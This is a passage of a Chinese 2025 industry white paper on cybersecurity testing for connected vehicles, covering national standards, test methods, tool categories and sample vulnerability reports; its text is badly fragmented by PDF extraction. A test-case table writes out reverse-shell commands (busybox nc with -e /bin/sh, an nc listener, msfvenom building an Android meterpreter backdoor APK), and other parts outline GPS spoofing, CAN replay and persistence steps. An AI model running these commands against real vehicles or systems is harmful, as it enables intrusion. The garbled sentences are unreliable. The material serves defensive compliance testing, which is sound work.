智能网联汽车信息安全测试白皮书 2025

业应用联盟、鹏城实验室、中国第一汽车集团有限公司、一汽-大众汽车有限公中汽研汽车科技(上海)有限公司、吉利汽车研究院(宁波)有限公司、浙江极氪智团队、北京交通大学、艾尔维工程技术(上海)有限公司、容诚企业咨询(上海)有限公司、青岛国创智能家电研究院有限公司、广东为王庆戈、苏圣烽、王楠、HaukePetersen、黄骏东、刘立文、杨文辉、王博、石 2 2 2 4 5 6 9 智能网联汽车信息安全测试白皮书(2025)随着人工智能、5G通信与车联网技术的深度融合，智能网联汽车已从实验室概念加速迈向规模化商用阶段。截至目前，我国L3级及L4级自动驾驶试点系统化、标准化的信息安全测试体系，已成为保障智能网联汽车高质量发展的帮助行业各方厘清网络安全测试的技术要求、典型产品、适用场景、评价指标智能网联汽车信息安全测试白皮书(2025)2.智能网联汽车信息安全测试发展现状2.1.行业背景GB44496－2024《汽车软件升级通用技术要求》、GB44497－2024《智能网联制实施。其中，GB44495－2024《汽车整车信息安全技术要求》从汽车信息安2.2.汽车信息安全测试现状智能网联汽车信息安全测试白皮书(2025)图2-1《2024年智能网联汽车网络安全年度报告》攻击事件占比2.技术栈+供应链碎片化导致的漏洞分散：车企电子电气架构（如视觉感知、多模态融合）也存在显著差异，智能网联汽车信息安全测试白皮书(2025)呈现集中式域控架构与分布式ECU架构并3.智能网联汽车信息安全法规与标准managementsystem（《关于就信息安全与信息安theapprovalofvehicleswithregar智能网联汽车信息安全测试白皮书(2025)车整车信息安全技术要求》、GB44496-2024《汽车软件升级通用技术要求》、技术要求》、GB/T40855-2021《电动汽车远程服务与管理系统信息安全技术要求及试验方法》、GB/T40856-2021《车载信息交互系统信息安全技术要求及试验方法》、GB/T40857-2021《汽车网关信息安全技术要求及41578-2022《电动汽车充电系统信息安全技术要求及试验方法》、GB/T44778-2024《汽车诊断接口信息安全技术要求及试验方法》、GB/T44774-20243.1.汽车整车信息安全技术要求GB44495-2024《汽车整车信息安全技术要求》的图3-1汽车整车信息安全技术要求内容结构智能网联汽车信息安全测试白皮书(2025)此外，还要求车辆具备数据备份和恢复功能，以3.2.汽车软件升级通用技术要求GB44496-2024《汽车软件升级通用技术要l流程文件安全存储：汽车制造商需要建立安全的流程文件存储机制，确保软件升级相关的文件和数据得到妥善保存，具备防篡改、防泄露、可l软件识别码与生产一致性识别：确保软件识别码与车辆的生产一致性，智能网联汽车信息安全测试白皮书(2025)防止因软件升级导致车辆的生产信息与实际情况不符。如果车辆型式出l软件版本信息标识：明确软件的版本信息标识方法，以便准确识别不同版本的软件，方便管理和追溯。对于升级后的软件，要有清晰的版本号和相关标识（如完整性校验值），让用户和车企能够清楚地了解软件的l被升级系统与其他系统的相关性：考虑被升级软件系统与车辆其他系统的相关性，升级前要进行充分的评估和测试，明确升级后的软件是否会l生产一致性相关影响评估：对软件升级可能对车辆生产一致性产生的影响进行评估，包括对车辆性能、功能、安全等方面的影响。如果升级可能导致车辆的生产一致性不符合相关标准和法规，需要采取相应的措施l安全保障：采取措施保护升级包及软件升级的整个过程，防止升级包被篡改或升级过程中受到损害。建立应急管理机制，准确识别需要进行软篡改或损坏。例如，采用加密技术对升级文件进行加密传输和存储，确本号的功能，以便用户了解车辆当前的软件版本状态，同时也便于车企l用户告知：在进行软件升级之前，车企必须向用户告知升级的目的、内容、所需时长、升级影响以及注意事项等信息，让用户充分了解升级的相关情况，以便用户做出是否升级的决策。升级完成后，也要告知用户l先决条件：明确软件升级的先决条件，只有在满足这些先决条件的情况智能网联汽车信息安全测试白皮书(2025)下，才能进行软件升级，以确保升级过程的顺利进行和升级后的软件能够正常运行。例如保证车辆在软件升级过程中有足够的电量支持，避免l失败处理：制定软件升级失败的处理方案，当升级过程中出现异常或失败情况时，能够及时恢复车辆的原有状态或采取其他补救措施，降低对3.3.汽车数据通用要求GB/T44464-2024《汽车数据通用要求》标准主要针对汽车数据的收集、存l需要覆盖数据收集、存储、使用、加工、传输、提供、公开、删除等全l建立包括数据分类分级、流程管理、风险监测和事件处理、投诉举报处l对个人信息的收集、存储、使用等环节提出具体要求，如获得用户明确l传输个人信息时，必须实施安全保护措施，如加密保护等；如果在极端情况下（保障行车安全的情况下未经用户许可收集到个人信息）传输个智能网联汽车信息安全测试白皮书(2025)l对个人信息的收集、存储、使用、传输等环节提出具体要求，如加密存3.4.汽车信息安全通用技术要求GB/T40861-2021《汽车信息安全通用技图3-2汽车信息安全通用技术要求标准框架（1）车内系统：包括软件系统、电子电气硬件、车内数据以及车内通信等。软智能网联汽车信息安全测试白皮书(2025)（2）车外通信：分为车外远距离通信和车外近距离通信。远距离通信如车辆与l业务适用性原则：信息安全措施不能影响汽车的正常功能和性能，要确l软件无后门原则：汽车软件中不能存在隐藏的、未经授权的访问通道或l功能最小化原则：汽车系统和软件的功能应保持在满足业务需求的最小l最小化授权原则：对用户和系统组件的访问权限进行严格控制，只授予l权限分离原则：不同的权限应相互分离，并单独授予，避免权限过于集l默认设置原则：汽车产品在出厂时应完成默认的信息安全设置，以确保l真实性维度：确保汽车信息的来源和内容是真实可靠的，防止虚假信息l保密性维度：保护汽车信息不被未经授权的人员获取，对敏感信息进行智能网联汽车信息安全测试白皮书(2025)l可用性维度：确保汽车信息系统和相关功能在需要时能够正常使用，避l访问可控性维度：对访问汽车信息系统和资源的行为进行严格的控制和l抗抵赖性维度：防止用户或系统对其行为进行否认，确保行为的可追溯l可核查性维度：能够对汽车信息系统的安全状况进行检查和验证，以便l可预防性维度：采取措施预防安全事件的发生，通过安全评估、风险分3.5.电动汽车远程服务与管理系统信息安全技术要求及试验方法GB/T40855-2021《电动汽车远程服务与管理系统信息安全技术要求及试验l硬件安全：对电动汽车远程服务与管理系统所涉及的硬件设备，如车载终端的物理防护、芯片安全等方面提出要求，防止硬件被恶意篡改或破l软件系统安全：对系统的软件架构、操作系统、应用程序等方面的安全提出要求。例如，软件应具备访问控制、身份验证等功能，防止未经授l数据存储安全：规定了数据在存储过程中的加密、访问权限控制等安全措施，确保数据的保密性、完整性和可用性。对于车辆的敏感信息，如智能网联汽车信息安全测试白皮书(2025)l网络端口传输安全：对数据在网络传输过程中的安全进行规范，包括通信协议的安全性、数据加密传输等，防止数据在传输过程中被窃取或篡l远程升级安全：远程升级是电动汽车远程服务的重要功能之一，该标准对远程升级的过程进行了安全规范，包括升级包的完整性验证、升级过l日志功能安全：要求系统具备完善的日志记录功能，能够记录系统的操l系统安全：从整体上对电动汽车远程服务与管理系统的安全架构、安全件、软件、数据存储、网络传输、远程升级等各个3.6.车载信息交互系统信息安全技术要求及试验方法GB/T40856-2021《车载信息交互系统信息安全技术要求及试验方法》适用l芯片不存在后门，关键芯片应减少引脚暴露，以降低被攻击或篡改的风l安全芯片之间应减少通信线路的数量，例如采用内层布线方式隐藏通信l电路板及芯片不宜暴露用以标注、端口和管脚功能的可读丝印，防止信智能网联汽车信息安全测试白皮书(2025)l安全连接方面，确保与外部设备或网络建立的连接是安全可靠的，防止l安全传输方面，使用国密算法进行加密传输，安全传输终止，保证数据（版本不低于1.2）或至少同等安全级别的安全通信协议（如同等级别）；l近程通信协议安全方面，要设置通信口令等安全措施，保障近距离通信的完整性和可用性，但通常不强调机密性（因车内总线通信有其特定的l通信接口安全：对外接口应具备隔离措施，防止外部恶意攻击；对内接l安全配置方面，对操作系统的各项安全参数进行合理配置，确保系统的l通信功能应受到控制，例如对网络连接、拨打电话、发送邮件等功能进l具备安全启动功能，基于信任根确保Boot可信、操作系统可信、应用可信；操作系统更新时应有回退和防回退机制，并进行完整性校验。对于预置功能平行的多操作系统，除必要的接口和数据可共享外，不同操智能网联汽车信息安全测试白皮书(2025)3.7.汽车网关信息安全技术要求及试验方法GB/T40857-2021《汽车网关信息安全技术要求及试验方法》适用于汽车网智能网联汽车信息安全测试白皮书(2025)3.8.电动汽车充电系统信息安全技术要求及试验方法GB/T41578-2022《电动汽车充电系统信息安全技术要求及试验方法》标准l信息安全架构：车内充电系统信息安全由硬件安全、软件安全、数据安全和通信安全四部分组成，通信安全涉及车内通信安全和车辆对外通信l信息安全目标：通过提出硬件、软件、数据和通信等方面的安全技术要求，防护车内充电系统面临的充电数据被窃取、个人隐私泄露和车内数智能网联汽车信息安全测试白皮书(2025)降低芯片被非法访问、篡改，从而提高芯片以及整个充电系统的安全性l针对调试接口，需确保只有经过授权的人员才能使用调试接口，避免未l通过隔离措施，防止直流充电通信网络与车内网络之间的相互干扰和安l数据完整性：存储的重要数据应具有完整性校验机制，当完整性受到破l通信连接安全：通信前需认证，应具有身份鉴别机制，对未识别身份的l通信传输安全：传输的重要数据应使用密文传输，采用完整性校验和防l通信接口安全：车辆对外通信接口应具有通信指令合法性验证机制，不应具有访问车内通信总线数据的功能，直流充电通信CAN接口不应具智能网联汽车信息安全测试白皮书(2025)l车内充电系统自身各控制器以及与车内其他控制器节点之间进行重要数3.9.汽车诊断接口信息安全技术要求及试验方法GB/T44778-2024《汽车诊断接口信息安全技术要求及试验方法》标准详细l安全存储：确保身份认证过程中所使用的对称密钥以及非对称算法私钥l数据使用：针对身份认证密钥，要采取访问控制措施，同时禁止对外传输，防止非法访问，确保身份认证机制的安全性和可靠性；针对非车内电子控制单元的诊断接入端，最好具备安全访问控制机制，例如设置防智能网联汽车信息安全测试白皮书(2025)l密钥销毁：及时清除不再使用或存在安全隐患的密钥信息，确保这些敏l控制器信息安全要求：使用硬件安全存储机制，对于不同的诊断接入端开放不同的权限，对诊断接入端进行权限控制，具备与诊断接入身份认l诊断安全要求：需进行安全访问解锁，诊断服务应通过安全访问进行分组，实现不同诊断用户之间的权限分离，并且每个诊断用户被授予的权3.10.汽车信息安全应急响应管理规范GB/T44774-2024《汽车信息安全应急响应管理规范》标准确立了汽车信息置、恢复及事件后处理等各阶段工作，各阶段识；建立信息安全监测与预警机制，收集分析汽车进行证据收集与保存，为后续处理提供依据，保证证据智能网联汽车信息安全测试白皮书(2025)4.汽车安全测试需求4.1.面向生命周期不同阶段的测试需求汽车V模型开发是一种广泛应用于汽车行业的系统开发方法，从需求分析智能网联汽车信息安全测试白皮书(2025)图4-1汽车生命周期安全V模型4.2.测试对象与内容智能网联汽车信息安全测试白皮书(2025)图4-2智能网联汽车网络与数据安全测试概览表4-1汽车零部件测试内容示例零部件测试内容车机操作系统安全、通信安全、业务安全、数据安全、访问点等进行安全测试T-BOX操作系统安全、通信安全、业务安全、数据安全、访问点等进行安全测试汽车拓扑架构、CAN总线协议逆向、数据安全、固件安全、硬件安全等进行安全测试ECUCAN总线协议、固件安全、硬件安全等进行安全测试智能网联汽车信息安全测试白皮书(2025)测试，构造生成对信号的配置、生成和状态过程信息窃取、账号窃取登录防护、SMS验证频率、调试接口关闭等方面的测图4-3APP(SDK)的安全测试内容智能网联汽车信息安全测试白皮书(2025)图4-4云平台安全测试内容汽车制造商在进行软件更新时需要遵循国家或进行数据隐私合规性测试。例如，验证汽车制造商在进智能网联汽车信息安全测试白皮书(2025)是否遵守了数据隐私法规，如欧盟的GeneralDat络安全合规性测试。例如，验证汽车制造商的图4-5OTA系统结构智能网联汽车信息安全测试白皮书(2025)图4-6OTA的安全测试内容智能网联汽车信息安全测试白皮书(2025)图4-7车辆远程操纵功能的安全测试内容牙密钥逻辑安全性、通信安全性、数据安全性、固图4-8数字钥匙安全测试内容智能网联汽车信息安全测试白皮书(2025)图4-9远程泊车辅助的安全测试内容智能网联汽车信息安全测试白皮书(2025)图4-10充电桩安全测试内容5.汽车信息安全测试方法5.1.概述图5-1车辆安全开发V模型及测试阶段智能网联汽车信息安全测试白皮书(2025)l模糊测试：一种提供大量随机数据(通常以自动化或半自动化的方式)作为系统输入以查找弱点和漏洞(例如故障和编码错误)的测试。如果系统智能网联汽车信息安全测试白皮书(2025)图5-2车辆渗透测试与安全符合性测试对比5.2.测试方法与过程示例云端平台：负责车辆数据存储、数据处理、OTA升级、远程诊断、远程控智能网联汽车信息安全测试白皮书(2025)图5-3智能网联汽车攻击路径示例智能网联汽车信息安全测试白皮书(2025)表5-1测试对象、内容与环境测试对象测试内容测试环境构成测试示例说明云端安全1.资产及接口扫描2.配置和漏洞测试3.API渗透，参数注入与异常流量测试4.中间人及重放攻击验证5.日志与报警检查云服务器集群、虚拟化环境、容器平台模拟高并发非法请求和中间人篡改，验证异常请求是否被拒绝，日志中不泄露敏感信息。无线通信安全1.协议抓包与加密验证2.中间人攻击与数据篡改测试3.信号干扰与重传测试车载无线测试平台（蜂窝网络、NFC）分别对蜂窝网络、蓝牙、WiFi与NFC采集数据，验证各模块加密传输，测试中间人攻击下数据包的异常。车内有线通信安全1.总线数据抓包与分析2.故障注入及恶意数据模拟3.ARP欺骗（ETH）与数据包篡改4.数据完整性及实时同步性验证实车或仿真平台太网（ETH）、FlexRay模块在CAN总线上注入异常帧，在ETH中模拟ARP欺骗，验证系统能否测试异常并维持数据同步。终端安全1.固件提取与逆向分析2.漏洞扫描与利用验证3.物理接口（OBD、JTAG）测试4.内部通信安全测试车载终端（ECU、OBD设备、传感器及车载电脑）对ECU固件进行逆向分析，识别后门与调试接口，并通过JTAG监控实际数据防护效果。业务场景安全1.业务流程梳理2.身份认证与授权验证3.数据传输加密与完整性测试4.异常注入（错误数据、中间人攻击）5.算法逆向破解，流程跨越等逻辑缺陷实车测试平台或高仿真模拟器、后端业务系统环境模拟OTA升级、数字钥匙、远程诊断、紧急呼叫及自动驾驶各场景，通过恶意数据注入测试各环节安全机制的响应，目标是否可被非法控制。智能网联汽车信息安全测试白皮书(2025)表5-2常用安全测试工具一览表类别工具名称主要用途零部件安全测试系统桌面测试工具示波器、信号发生器、PCB分析仪器、万用表、BGA焊接台硬件安全测试套件固件提取工具套件、常见处理器的仿真调试器、存储芯片读写装置、常见接口调试工具漏洞扫描工具支持最新CVE漏洞库，支持Android、Linux系统网络与本地化扫描固件二进制分析工具支持Linux相关的二进制文件、嵌入式ECU的二进制固件，如：NXP、英飞凌、瑞萨等主流MCU芯片源代码安全分析工具对MISARC、CERTC/C++及代码漏洞进行分析APP应用逆向分析工具Android、iOS应用的自动化分析破解测试工具支持SSH、Telnet、FTP、ADB等协议账号、密码的破解数据安全测试工具支持对数据库、固件、应用程序、密钥等关键敏感信息的存储，传输及销毁的测试通信数据分析工具支持对通信数据包的截取、分析、篡改漏洞利用验证工具支持对Android、ARM32、ARM64、X86、Windows、iOS等系统的攻击验证侧信道工具与故障注入专用示波器、带XYZ三轴测试台、侧信道工具汽车网络安全测试系蓝牙安全测试工具支持对经典蓝牙、低功耗蓝牙及其蓝牙相关指令、业务等安全测试WiFi安全测试工具支持对WiFi的AP端、STA端、以及通信数据的安全测试GNSS安全测试工具支持对GPS、北斗的劫持、篡改、干扰等安全测试智能网联汽车信息安全测试白皮书(2025)类别工具名称主要用途汽车射频钥匙安全测试工具支持对射频钥匙的劫持、篡改、中继、干扰等安全测试无线电安全分析工具支持对无线电信号的监听、篡改、重放等安全测试移动4G网络仿真安全测试工具对基站认证机制、开放端口、弱口令、数据传输等测试模拟未授权用户尝试访问云平台API接口，发现API未正确验证用户身智能网联汽车信息安全测试白皮书(2025)抓取蓝牙数据包，使用Wireshark分析蓝牙通信数据包，判断是否存在在蓝牙通信中，抓取数据包并分析是否存在对蓝牙通信数据进行端到端加密，并采用安全的加密机制，如：SSP、LE智能网联汽车信息安全测试白皮书(2025)智能网联汽车信息安全测试白皮书(2025)据漏洞的严重程度提出修复建议。以下是测试智能汽车网络安全等级ACSL（AutomotiveCyberSecurityLevel）通过渗透由前缀“S”加由低向高递增的数字表示安全的递减表5-3网络安全等级换算表S0（-）0000无安全隐患S1（A）000>0低安全隐患S2（B）00>0不论中安全隐患S3（C）0>0不论不论不安全S4（D）>0不论不论不论极不安全图5-3安全等级与漏洞危害等级对照图智能网联汽车信息安全测试白皮书(2025)图5-4漏洞危害等级评分尺度l基本分（Base）：代表着漏洞的原始属性，不受时间与环境的影响，又由Exploitability可执行性与影响程度Impact度a.每个安全漏洞必须是单独评估，不能考虑与其他安全漏洞的交叉影响。b.只考虑漏洞的直接影响，不考虑间接影响。c.按照通常使用的权限来评估漏洞的影响。）：）：表5-4IVI网络配置安全测试-开放FTP服务评分及测试漏洞等级高危（8.5）CVSS评分CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L测试步骤1、使用测试电脑开放AP热点2、车机连接测试电脑开放的AP热点3、组网完成，使用端口扫描工具Nmap对IVI系统开放的端口进行扫描4、查看扫描结果是否开放高危端口智能网联汽车信息安全测试白皮书(2025)5、尝试对开放的端口进行访问测试结果端口扫描发现开放FTP服务，端口为21，通过对FTPServer分析发现存在FTP账户及密码，可通过暴露的账户访问FTP，存在读写权限并且FTP中暴露疑似系统固件文件修复建议1、关闭FTPServer服务并且严格控制外部对FTP服务的访问权限2、FTP账户配置文件应对采用安全存储方式，如：加密、HSM等表5-5车机反弹shell评分及测试漏洞等级高危（8.8）CVSS评分CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:H测试步骤1、使用busyboxnctargetIPtargetPORT-e/bin/sh命令反弹shell2、服务端使用nc-lvpserverPORT监听并可获取shell3、使用msfvenom-pandroid/meterpreter/reverse_tcpLHOST=targetIPLPORT=9999R>test.apk生成反弹shell后门文件4、安装test.apk文件5、服务端执行如下命令6、Useexploit/multi/handler7、Setpayloadandroid/meterpreter/reverse_tcp8、SetLHOST269、SetLPORT999910、Run11、获得shell测试结果可通过nc和后门APP反弹shell漏洞危害攻击者可通过植入木马获取车机系统权限修复建议移除busybox中的nc程序，并对apk的来源进行校验表5-6GPS劫持评分及测试智能网联汽车信息安全测试白皮书(2025)漏洞等级中危（6.5）CVSS评分CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H测试步骤1、使用无线工具HackRFOne对车端GPS进行劫持攻击2、查看HackRFOne释放的GPS劫持攻击是否成功测试结果车端GPS被成功劫持漏洞危害攻击者可对车辆GPS进行劫持，干扰车辆导航功能测试详情涉及地图，此处略修复建议采用多模式定位，并且支持WiFi与4G网络相互参考对位置进行修正表5-7硬件测试-芯片丝印未隐藏评分及测试漏洞等级低危（2.2）CVSS评分CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N测试步骤1、拆卸车机外壳至裸露电路板2、查看电路板芯片丝印信息是否隐藏或使用内部定义测试结果芯片丝印信息未隐藏漏洞危害攻击者可根据丝印信息查找DATASHEET做进一步分析修复建议对电路板上芯片丝印进行信息隐藏处理或使用内部定义编号表5-8通讯录泄露评分及测试漏洞等级高危（8.5）CVSS评分CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L测试步骤1、通过调试接口连接车机2、使用adbshell命令访问车机命令行3、对车机本地存储的文件进行分析智能网联汽车信息安全测试白皮书(2025)4、查看车机本地存储的文件是否存在信息泄露测试结果车机存在信息泄露漏洞危害攻击者可获取敏感信息修复建议1、对本地存储的敏感信息进行加密存储2、对本地存储的敏感信息目录加入访问控制机制RestrictedShell5.3.汽车信息安全渗透测试对象及方法表5-9智能网联汽车渗透测试方法智能网联汽车信息安全测试白皮书(2025)测试技术功能与方法描述漏洞扫描对基于Linux、Android的车载终端设备、路边单元进行漏洞扫描，发现设备存在的漏洞对车联网后台进行漏洞扫描，发现后台存在的漏洞逆向分析对车载终端设备、路边单元的C、C++、Java代码进行逆向分析，获取关键数据，以及关键业务的代码逻辑对手机APP进行逆向分析，获取关键数据，以及关键业务的代码逻辑代码安全分析对C、C++、Java源代码进行安全扫描，发现代码存在的脆弱性网络分析与网络协议模糊测试对Ethernet、CAN、CANFD、USB、Bluetooth、WiFi等车载终端设备常用通信协议进行模糊测试，发现协议实现存在的漏洞密码破解对车载终端设备、路边单元和后台的密码进行破解侧信道分析通过对关键流程、关键数据进行侧信道攻击的健壮性、改变运行逻辑、数据泄露等测试图5-6CAN总线重放攻击过程智能网联汽车信息安全测试白皮书(2025)1)信息收集：研究目标车辆的CAN总线架构，包括其拓扑结构和使用的3)数据分析：分析捕获的数据包，识别关键的安全相关消息，如车辆的加4)重放测试：在不同的车辆状态和条件下重放捕获的数据包，观察车辆的6)安全措施评估：评估现有的安全措施，如消息认证和加密，是否能够有程执行代码。成功的RCE攻击可能导致攻击者完全控制车辆的关键功能，如制图5-7远程代码执行攻击过程2)服务分析：识别IVI系统提供的网络服务和应用程序，分析其行为和潜智能网联汽车信息安全测试白皮书(2025)3)漏洞挖掘：使用自动化工具（如模糊测试工具）和手动测试寻找服务中5)权限维持：研究如何维持对受影响系统的控制，包括安装持久性后门和6)影响评估：评估漏洞被利用可能导致的影响，如车辆控制权的丧失和数辆。这种攻击可能绕过车辆的物理安全措施，如智能钥图5-8无线攻击过程NFC信号。2)信号分析：分析信号的加密和认证机制，识别可能存在的弱点，如弱加4)密码破解：如果信号加密较弱，尝试破解密码或密钥，如使用频率分析5)安全机制绕过：开发方法绕过车辆的安全机制，如模拟合法的数字钥匙智能网联汽车信息安全测试白皮书(2025)6)防御措施评估：评估现有的防御措施，如信号加密、挑战响图5-9通信接口攻击过程3)协议分析：分析通信协议的实现，寻找可能的安全漏洞，如未加密的通6)安全措施评估：评估现有的安全措施，如数据加密、完整性校验和认证智能网联汽车信息安全测试白皮书(2025)图5-10OBD-II接口安全漏洞攻击过程智能网联汽车信息安全测试白皮书(2025)3)弱密码检查：检查系统是否使用了默认或弱密码，如使用在线密码字典4)端口扫描：扫描车辆的网络端口，使用工具如Nmap，寻找开放的且未5)配置优化：提出更改配置的建议，如关闭不必要的服务、更改默认密码6)安全策略实施：建议实施安全策略，如定期的安全审计、系统更新和安6.测试工具体系6.1.汽车信息安全测试工具针对不同的测试对象使用各种专项测试工具来完成国内外汽车法规及标准的信息安全测试，如蓝牙安全测试工具、WiFi安全测试工具、系统漏扫工具、智能网联汽车信息安全测试白皮书(2025)图6-1安全测试工具体系图息安全验证测试，包括软件代码安全测试、二进制文件漏洞测试、软件l总线安全测试工具：覆盖车载总线安全测试，包括车载以太网、问点的漏洞入侵与模糊测试，包括WiFi、4G/5G、V2X、BT/BLE、别引擎，支持数据采集、使用、存储、传输和销毁过程中的真实性、完测试工具形态可以是软件形态、零散件形态、l软件形态：可在不同服务器、PC环境中快速部署，适用于应用、系统等的智能网联汽车信息安全测试白皮书(2025)图6-2软件形态图6-3零散件形态l机柜式形态：可集成多种接口（CAN/LIN/FlexRay/Ethernet）和协议分析工图6-4机柜式形态），智能网联汽车信息安全测试白皮书(2025)图6-5手持便携式形态图6-6上位机+零散工具测试方法示意智能网联汽车信息安全测试白皮书(2025)图6-7上位机+专项工具的测试方法示意随着集成化工具的推广，使用上位机+专项工表6-1工具与标准对应表主要功能测试对象适用的标准/法规源代码安全测试工具对源代码进行信息安全测试，测试内容包括源代码组件风险、第三方引用风险、源代码漏洞测试等内容汽车零部件/设备软件源代码中华人民共和国个人信息保护法系统漏洞扫描工具提供网络扫描和本地扫描两种系统漏洞扫描方式，支持ADB、WiFi、以太网直连方式接入，实现对Linux和Android操作系统进行系统漏洞扫描，并给出相应的修复建议。汽车零部件/设备操作系统GB44495-2024《汽车整车信息安全技术要求》GB44496-2024《汽车软件升级通用技术要求》GB∕T40861-2021《汽车信息安全通用技术要求》GB∕T40856-2021《车载信息交互系统信息安全智能网联汽车信息安全测试白皮书(2025)技术要求及试验方法》GB∕T40857-2021《汽车网关信息安全技术要求及试验方法》GB∕T40855-2021《电动汽车远程服务与管理系统信息安全技术要求及试验方法》GBT41578-2022《电动汽车充电系统信息安全技术要求及试验方法》GB/T44778-2024《汽车诊断接口信息安全技术要求及试验方法》WP29R155WP29R156固件二进制分析工具对固件二进制文件进行风险测试，如二进制软件安全测试、应用软件漏洞测试等，具备二进制固件系统扫描、系统内核测试、软件包&组件测试、CVE/CWE漏洞测试、密码算法测试、固件内文件系统扫描、系统服务测试、远程溢出漏洞测试、用户密码测试、恶意数据、可疑数据等功能。针对每个不同公有漏洞提供漏洞缓解建议。汽车零部件/设备固件GB44495-2024《汽车整车信息安全技术要求》WP29R155APP安全测试工具对应用软件及第三方组件进行风险测试，如应用软件敏感信息缓存、存储、防窃取、加密传输测试、软件漏洞测试等。汽车应用软件及第三方组件的APKGB44495-2024《汽车整车信息安全技术要求》GB∕T40856-2021《车载信息交互系统信息安全技术要求及试验方法》WP29R155WiFi安全测试工具智能网联汽车信息安全测试白皮书(2025)对WiFi通信进行信息安全测试，如WiFi数据加密测试、口令复杂度暴力破解测试、WiFi口令弱密码、登录防爆破测试、口令文件访问控制测试、通信协议安全测试等。汽车WiFi终端GB44495-2024《汽车整车信息安全技术要求》GB∕T40856-2021《车载信息交互系统信息安全技术要求及试验方法》WP29R155蓝牙安全测试工具对蓝牙通信进行信息安全测试，如蓝牙鉴权机制、传输数据、拒绝服务攻击、协议栈POC漏洞攻击等测试。汽车蓝牙终端GB44495-2024《汽车整车信息安全技术要求》GB∕T40855-2021《电动汽车远程服务与管理系统信息安全技术要求及试验方法》GB∕T40856-2021《车载信息交互系统信息安全技术要求及试验方法》WP29R155移动蜂窝网络测试工具对移动网络通信数据进行信息安全测试，如终端网口端口控制策略、数据流控制策略、访问控制策略、冗余端口、端口非授权访问等测试。车辆移动通信终端GB44495-2024《汽车整车信息安全技术要求》GB∕T40855-2021《电动汽车远程服务与管理系统信息安全技术要求及试验方法》GB∕T40856-2021《车载信息交互系统信息安全技术要求及试验方法》WP29R155射频钥匙安全测试工具对射频钥匙进行信息安全测试，支持125K/315M/433M/915MHz/868MHz等频段，测试内容包括劫持攻击测试、中继攻击测试等。车辆射频终端GB44495-2024《汽车整车信息安全技术要求》WP29R155GNSS安全测试工具对车载GNSS信号接收模块进行信息安全测试，如GNSS数据接收防欺骗测试、GNSS单频段劫持攻击车辆GNSS终端GB∕T40856-2021《车载信息交互系统信息安全技术要求及试验方法》WP29R155智能网联汽车信息安全测试白皮书(2025)测试、GNSS全频段劫持攻击测试总线安全测试工具通过录制、篡改、重放、伪造等方式，仿真CAN总线节点，对车载CAN通信进行信息安全测试，如ECU重放攻击、通信名单过滤、命令来源校验、泛洪攻击、周期拒绝服务攻击测试等。车辆CAN总线通信GB44495-2024《汽车整车信息安全技术要求》GB∕T40856-2021《车载信息交互系统信息安全技术要求及试验方法》GB∕T40857-2021《汽车网关信息安全技术要求及试验方法》GBT41578-2022《电动汽车充电系统信息安全技术要求及试验方法》《汽车诊断接口信息安全技术要求》WP29R155以太网安全测试工具支持ICMP、TCP、UDP、TCP等以太网协议及DoIP、SOME/IP等车载以太网协议，工具通过仿真车载以太网会话节点，对车载以太网通信进行信息安全测试，如拒绝服务、网络隔离、端口扫描、会话异常、中间人攻击等测试。车辆以太网通信GB44495-2024《汽车整车信息安全技术要求》GB∕T40856-2021《车载信息交互系统信息安全技术要求及试验方法》GB∕T40857-2021《汽车网关信息安全技术要求及试验方法》GB∕T40855-2021《电动汽车远程服务与管理系统信息安全技术要求及试验方法》WP29R155数据安全测试工具对敏感数据进行信息安全测试，如操作系统安全最高权限账户、普通用户提权、无用账号、账号密码复杂度、访问控制、禁止不必要服务、远程登录、安全启动信任根、安全启动验证签名、安全启动系统固件、零部件/设备系统数据GB44495-2024《汽车整车信息安全技术要求》GB∕T40861-2021《汽车信息安全通用技术要求》GB∕T40856-2021《车载信息交互系统信息安全技术要求及试验方法》GB∕T40857-2021《汽车网关信息安全技术要求智能网联汽车信息安全测试白皮书(2025)更新防回退、更新失败状态、更新安全机制、更新可靠性、系统隔离、高敏感运行权限等测试。及试验方法》GB∕T40855-2021《电动汽车远程服务与管理系统信息安全技术要求及试验方法》GBT41578-2022《电动汽车充电系统信息安全技术要求及试验方法》《汽车诊断接口信息安全技术要求》WP29R155覆盖零部件、网络通信、关键业务、整车、路边单元、充电桩、手机APP和后漏洞知识库、测试用例库工具集等的构建、以及图6-8汽车网络安全测试能力库构建智能网联汽车信息安全测试白皮书(2025)l端口扫描：通过扫描目标系统的开放端口，确定可能存在的服务和潜在的安全漏洞信息。它将扫描到的系统特征与漏洞库中的信息进l模拟攻击：部分高级工具会模拟各种攻击场景，如SQL注入、跨站脚l网络漏洞测试：发现网络设备（如路由器、交换机）和网络协议中的漏l应用程序漏洞测试：扫描各种应用程序（如Web应用、数据库、邮件应用程序等进行全面的漏洞扫描。在汽车电子系统中，可用于测试车载网络、电子控制单元（ECU）等组件的安全漏洞，帮助识别潜在的安全固件即将打包好的应用软件写入EPROM（可擦写可编程只读存储器）或智能网联汽车信息安全测试白皮书(2025)二进制在车端主要的载体为TBOX、网关内核模块等各种组件，并尝试将其提取出来。例如，能从一个复杂的嵌汇编代码，使分析人员能够更深入地理解固件的运行逻辑和程序流程。lGhidra：提供了反汇编、代码分析、调试等功能，与IDAPro类似，可以帮助分析人员理解嵌入式固件的内部工作原理。支持多种文件格式和）：扫描。它涵盖了从固件提取到静态和动态分析的全过程。能够识别不安全的二进制文件、过时的软件组件、可能脆弱的脚本以及硬编码的密码系统中的数字信号。可以连接到嵌入式设备的引脚或总线，实时监测和lstrings：用于提取文件中的可打印字符串。在嵌入式固件分析中，可以智能网联汽车信息安全测试白皮书(2025)数、错误信息、调试信息等。通过分析这些字符串，可以了解固件的一lhexdump：可以将二进制文件以十六进制的形式输出，方便分析人员查代码漏洞的分析等，提高软件的安全性。具体lFortify：代码静态分析工具，可对多种编程语言的代码进行安全分析，识别代码中的安全漏洞和合规性问题。在汽车电子软件开发中，Fortify全编码原则及应用安全具有深刻理解的安全服务人员或具有源代码静态审计功能的系统对源代码和软件架构的安全性、可靠1）Android平台APP应用逆向分析工具：较高的Java源代码。它的代码还原度较高，支持交叉索引，方便用户智能网联汽车信息安全测试白皮书(2025)行反编译、资源文件提取和重新打包等操作。用户可以使用它来查看和lDex2jar：